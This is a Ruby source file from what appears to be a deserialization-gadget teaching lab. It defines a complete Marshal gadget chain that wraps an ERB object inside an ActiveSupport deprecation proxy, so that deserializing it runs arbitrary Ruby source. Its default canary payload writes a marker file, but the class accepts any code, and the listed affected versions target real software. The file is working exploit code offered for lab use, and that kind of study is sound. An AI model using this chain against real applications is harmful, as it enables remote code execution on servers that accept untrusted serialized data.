Cybersecurity-Projects/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains/erb_def_module.rb

130 lines
3.2 KiB
Ruby

# ©AngelaMos | 2026
# erb_def_module.rb
# frozen_string_literal: true
require "erb"
module Marshalsea
module Chains
class ErbDefModule < Base
CHAIN_NAME = "erb-def-module"
VECTOR = "hash"
CVE = "CVE-2026-41316"
TARGET_GEM = "erb"
REQUIRES = ["activesupport"].freeze
AFFECTED = [
["< 4.0.3.1"],
["= 4.0.4"],
[">= 5.0.0", "< 6.0.1.1"],
[">= 6.0.2", "< 6.0.4"]
].map { |constraints| constraints.map(&:freeze).freeze }.freeze
PROXY_CLASS = "ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"
DEPRECATOR_CLASS = "ActiveSupport::Deprecation"
DISPATCH_METHOD = :def_module
PROXY_LABEL = "@marshalsea"
SRC_PREFIX = "#\nend\n"
SRC_SUFFIX = "\ndef _marshalsea_unused\n"
DEFAULT_FILENAME = "(erb)"
DEFAULT_LINENO = 0
IVAR_SRC = :@src
IVAR_FILENAME = :@filename
IVAR_LINENO = :@lineno
IVAR_INSTANCE = :@instance
IVAR_METHOD = :@method
IVAR_VAR = :@var
IVAR_DEPRECATOR = :@deprecator
IVAR_SILENCED = :@silenced
CANARY_TEMPLATE = "File.write(%<path>p, %<marker>p)"
MISSING_DISPATCHER = "#{PROXY_CLASS} is not loaded; this chain needs activesupport".freeze
SET_IVAR = Object.instance_method(:instance_variable_set).freeze
METADATA = {
name: CHAIN_NAME,
vector: VECTOR,
cve: CVE,
gem: TARGET_GEM,
affected: AFFECTED,
kind: KIND_CHAIN,
requires: REQUIRES
}.freeze
def self.metadata
METADATA
end
def self.canary(path, marker)
new(format(CANARY_TEMPLATE, path: path, marker: marker))
end
def self.dispatcher_available?
dispatcher_class
true
rescue ChainError
false
end
def self.dispatcher_class
require "active_support"
require "active_support/deprecation"
Object.const_get(PROXY_CLASS)
rescue LoadError, NameError
raise ChainError, MISSING_DISPATCHER
end
def self.deprecator_class
dispatcher_class
Object.const_get(DEPRECATOR_CLASS)
end
def initialize(ruby_source)
super()
@ruby_source = ruby_source
end
def generate
proxy = self.class.dispatcher_class.allocate
SET_IVAR.bind_call(proxy, IVAR_INSTANCE, template)
SET_IVAR.bind_call(proxy, IVAR_METHOD, DISPATCH_METHOD)
SET_IVAR.bind_call(proxy, IVAR_VAR, PROXY_LABEL)
SET_IVAR.bind_call(proxy, IVAR_DEPRECATOR, deprecator)
proxy
end
def serialize
in_hash_key_position(generate)
end
def template
object = ERB.allocate
object.instance_variable_set(IVAR_SRC, src)
object.instance_variable_set(IVAR_FILENAME, DEFAULT_FILENAME)
object.instance_variable_set(IVAR_LINENO, DEFAULT_LINENO)
object
end
def deprecator
silent = self.class.deprecator_class.allocate
silent.instance_variable_set(IVAR_SILENCED, true)
silent
end
def src
"#{SRC_PREFIX}#{@ruby_source}#{SRC_SUFFIX}"
end
private
attr_reader :ruby_source
end
end
end